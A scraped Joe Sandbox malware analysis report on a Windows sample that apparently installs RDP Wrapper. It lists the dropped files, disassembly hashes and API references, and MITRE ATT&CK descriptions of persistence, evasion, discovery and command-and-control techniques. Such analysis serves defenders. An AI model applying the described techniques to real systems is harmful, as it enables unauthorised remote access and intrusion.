Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 1646373207-1355242751
Opcode ID: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction ID: 7f98099b70b18dc0c665e624c368f4c8ddeaec672eef30118536404a03429535
Opcode Fuzzy Hash: 349a73e186955f1baf5885772f004c34863de15e74dc15c33fb7743de3b5e964
Instruction Fuzzy Hash: FBE0C2013883C21EE60272F90DD1B3A17D84B6C308F24183FB1C0D1183DB9CC524862F

Function 00415B40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 16COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,0044313B,00000000,0044315A), ref: 00415B46

Part of subcall function 0040AA94: GetProcAddress.KERNEL32(?,?), ref: 0040AAB8

Strings

kernel32.dll, xrefs: 00415B41
GetDiskFreeSpaceExW, xrefs: 00415B51

Memory Dump Source

Source File: 0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.2133228580.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133334437.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133385196.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133406060.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133466108.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1646373207-1127948838
Opcode ID: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction ID: 4ad585b0bbb22d8cb86f0bca7bf1fd5c676b9542b5302fef9f3b12a8682de55f
Opcode Fuzzy Hash: a738386b4eb64180ba5d2c03a1b622a8c2aaab42401b0cdd019b227c0ec9c639
Instruction Fuzzy Hash: 92D0C7B4745F85DBFF10DBA55D83BD62254E785309B10043B70046D2D3D67C6894CB1D

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\RDP Wrapper\rdpwrap.dll

C:\Program Files\RDP Wrapper\rdpwrap.ini

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

C:\Windows\System32\rfxvmt.dll

\Device\ConDrv

\Device\Mup\585948*\MAILSLOT\NET\NETLOGON

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
file.exe

**\Device\Mup\585948*\MAILSLOT\NET\NETLOGON**

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre